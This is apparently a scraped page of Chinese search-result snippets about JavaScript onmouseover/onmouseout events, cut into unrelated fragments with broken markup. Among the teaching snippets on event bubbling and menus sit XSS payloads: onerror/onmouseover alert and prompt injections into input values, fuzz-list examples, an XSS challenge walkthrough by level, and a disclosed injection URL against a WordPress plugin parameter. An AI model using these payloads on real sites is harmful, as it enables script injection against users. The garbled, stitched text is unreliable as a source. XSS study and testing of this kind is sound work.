事件绑定(onmouseout,onmouseover) 小案例讲解 onmouseout 鼠标移出事件。 onmouseover 鼠标移入事件。
时间上 onmousemove 事件触发后,再触发 onmouseover 事件。 按钮上 不区分鼠标按钮。 动作上 onmouseover 只在刚进入区域时触发。 onmouseover与onmousemove的区别是:当鼠标移过当前对象时就产生了onmouseover事件(onmouseover有个移入移出的过程),当鼠标在当前对象上移动时就产生了onmousemove
onmouseover、onmouseout、onmouseenter 和 onmouseleave 是四种处理鼠标进入和离开元素的JavaScript事件。 事件触发范围先来介绍这两种事件 onmouseover 和 onmouseoutonmouseover 当鼠标指针移动到元素上时,会触发 onmouseover 事件。 -- onmouseover 和 onmouseout 示例 --><div id="parent" onmouseover="handleMouseOver()" onmouseout="handleMouseOut 事件冒泡接下来就说事件冒泡了,主要以下区别onmouseover 和 onmouseout 支持事件冒泡,即当事件触发后,它不仅仅影响当前元素,还会沿着DOM树向上冒泡,影响到父元素。 总的来说,有如下区别onmouseover 和 onmouseout 在鼠标指针移动到元素或其子元素时会触发,并且支持事件冒泡。
="mopen('m1')" onmouseout="mclosetime()">Home <div id="m1" onmouseover="mcancelclosetime( ="mopen('m3')" onmouseout="mclosetime()">Order <div id="m3" onmouseover="mcancelclosetime ="mopen('m4')" onmouseout="mclosetime()">Help <div id="m4" onmouseover="mcancelclosetime( <div id="m1" onmouseover="mcancelclosetime()" onmouseout="mclosetime()"> <? <div id="m2" onmouseover="mcancelclosetime()" onmouseout="mclosetime()"> <?
="rudy(this)">
="mopen('m1')" onmouseout="mclosetime()">Home <div id="m1" onmouseover="mcancelclosetime( ="mopen('m3')" onmouseout="mclosetime()">Order <div id="m3" onmouseover="mcancelclosetime ="mopen('m4')" onmouseout="mclosetime()">Help <div id="m4" onmouseover="mcancelclosetime( <div id="m1" onmouseover="mcancelclosetime()" onmouseout="mclosetime()"> <? <div id="m2" onmouseover="mcancelclosetime()" onmouseout="mclosetime()"> <?
其中用到是onmouseover和onmouseou事件t,同时还有一个作用相似的事件叫做onmousemove,所以在这里先对这三种鼠标事件做一个简单的对比: 在时间上:如果两个事件同时存在,先是onmousemove 事件触发后,才会触发onmouseover事件。 在按钮上:onmousemove和onmouseover都不区分鼠标按钮 在动作上:onmouseover是在鼠标刚移入区域的时候触发,onmousemove是除了鼠标移入区域时触发外,鼠标在区域内移动同样也会触发事件 两者区别:当鼠标移过当前对象区域时就产生了onmouseover事件,所以onmouseover事件有个移入移出的过程,当鼠标在当前对象区域上移动时就产生了onmousemove事件,只要是在对象上移动而且没有移出对象的 = "green"; } t0.onmouseout = function () { t0.style.backgroundColor = "white"; } t1.onmouseover
onclick=”Show(‘z1’)”> 我的好友
如下 <asp:Button id="Button5" onmouseover='javascript:alert("hello")' style="Z-INDEX: 109; LEFT 如果写的是客户端的事件的话,如onmouseover,会提示没有找到这个属性,但可以正常运行,并且这个事件的处理也会被传送到输出的网页中。 C、注意格式,根据情况选择形式 onmouseover='javascript:alert("hello")' onmouseover "hello")" 2)如果控件是动态生成的或者想在代码中加入上面的内容,可以这样 Button1.Attributes.Add ("onmouseover Button2.ID="ID2" + "\" onmouseover=\"javascript:alert("hello")"; 为ID赋值,得到的结果是 ID
subject='qwe'onmouseover='alert(1)'">http://google.com/user@gmail.com? subject=''onmouseover='alert(1)'">user@gmail.com? subject=''onmouseover='alert(1)'">http://google.com/user@gmail.com? subject=''onmouseover='alert(1)' 模糊列表构建逻辑 为了更好地理解,我们将向您展示一个 vBulletin 示例。 (1)//">http://onmouseover=alert(1)//a">a@a.a<a href="http://<em>onmouseover</em>=alert(1)
}else{ i=0; } } html <li onmouseover ="chose(1)">1 <li onmouseover="chose(2)">2 <li onmouseover="chose(3 )">3 <li onmouseover="chose(4)">4 <li onmouseover="chose(5)">5 ="chose(1)">1 <li onmouseover="chose(2)">2 <li onmouseover="chose(3 )">3 <li onmouseover="chose(4)">4 <li onmouseover="chose(5)">5
<textarea onfocus=”if(value=='白鸽男孩') {value=' ‘}”>白鸽男孩</textarea> 3.鼠标移至文本框,默认文字消失: <textarea <em>onmouseover</em> =”focus()” onfocus=”if(value=='白鸽男孩') {value=' ‘}”>白鸽男孩</textarea> <textarea <em>onmouseover</em>=”focus()” onfocus {value=' ‘}” onmouseout=”blur()” onblur=”if (value==' ‘) {value='白鸽男孩'}”>白鸽男孩</textarea> <textarea onmouseover =”value=' ‘”>白鸽男孩</textarea> <textarea onmouseover=”value=' ‘”>白鸽男孩</textarea> 8.单击文本框后全选文本框内的文字: =”focus()” onfocus=”select()”>白鸽男孩</textarea> <textarea onmouseover=”focus()” onfocus=”select()”>白鸽男孩
="mmstop()"> <a class="j-trigger" id="tabpic1" onmouseout="showpic(1)" onmouseover="mmstop()"> < /a> <a class="j-trigger current" id="tabpic2" onmouseout="showpic(2)" onmouseover="mmstop()"> <a class="j-trigger" id="tabpic3" onmouseout="showpic(3)" onmouseover="mmstop()"> <a class="j-trigger " id="tabpic4" onmouseout="showpic(4)" onmouseover="mmstop()"> <a class="j-trigger" id="tabpic5" onmouseout="showpic(5)" onmouseover="mmstop()">
src="x" onerror=alert(1)>
//图片加载错误时触发
2、鼠标事件
<img src=1 onmouseover ttt=1000 onmouseover=prompt('xss') y=2016>aa
五、使用<input>标签
<input name="name" value="">
<input value ="" onclick=alert('xss') type="text">
<input name="name" value="" onmouseover=prompt('xss') bad="">
< onmouseover=prompt('xss')><form method=post action=aa.asp? onmouseover=alert('xss')><form action=1 onmouseover=alert('xss)>
<!
</marquee>设定卷动时间 <marquee onmouseover="this.stop()">... </marquee>鼠标经过上面时停止滚动 <marquee onmouseover="this.start()">... marquee>鼠标离开时开始滚动 <marquee direction=’left’ loop=2 width=960 height=30 scrollamount=30 scrolldelay=300 onmouseover ="this.stop()" onmouseover="this.start()">...
--设计外部的布局效果-->
page=vxcf_leads&form_id=cf_5e1kpc%22+onmouseover%3Dalert%281%29+ne97l&status&tab=entries&search&order =desc&orderby=fir+ 允许在输入表单中注入 onmouseover <input class="hide-column-tog" name="cf_5e1kpc\" onmouseover =alert(1) ne97l-vxvx-vxurl-hide" type="checkbox" id="cf_5e1kpc\" onmouseover=alert(1) ne97l-vxvx-vxurl-hide " value="cf_5e1kpc\" onmouseover=alert(1) ne97l-vxvx-vxurl" checked='checked' />Source</label><label>
leve3 代码分析 发现value里的<>也被实体化掉了 以采用“事件”,常用的有两个,onclick和onmouseover。 这里用onmouseover,payload:' onmouseover='javascript:alert(1)这个为什么会起作用呢?你把它带进input的value就明白了。 带入:源码中就会被修改成:<input name=keyword value=' ' onmouseover='javascript:alert(1)'> 注入成功后,鼠标移动到input输入框,就会触发 leve4 和leve3的原理一样,只不过需要将'改为"payload:" onmouseover='alert(1)' leve5 发现事件也被过滤掉了。 payload:t_sort=" type="text" onmouseover=alert() " leve11 对其源码分析 <script> window.alert = function()
ListItemType.AlternatingItem Then '--------------------------------------------------- ' Add the OnMouseOver DataGrid '--------------------------------------------------- e.Item.Attributes.Add("onmouseover ListItemType.AlternatingItem Then '--------------------------------------------------- ' Add the OnMouseOver '--------------------------------------------------- e.Item.Cells(1).Attributes.Add("onmouseover
一. onmouseenter、onmouseover onmouseenter 事件在鼠标指针进入到绑定事件的那个元素上时触发。 onmouseenter 事件类似于 onmouseover 事件。 唯一的区别是 onmouseenter 事件不支持冒泡 。 二.
onmouseover 事件在鼠标指针进入 div 元素时触发,在子元素上也会触发(p 和 span)(冒泡)。
onmouseover:
标移动到我这 span元素内移动(即白框内也会触发,事件冒泡到父级div);
2. mouseenter 事件中有在鼠标指针进入 div 元素时触发,鼠标进入p、span元素内不会触发,因为不支持事件冒泡;
3. onmouseover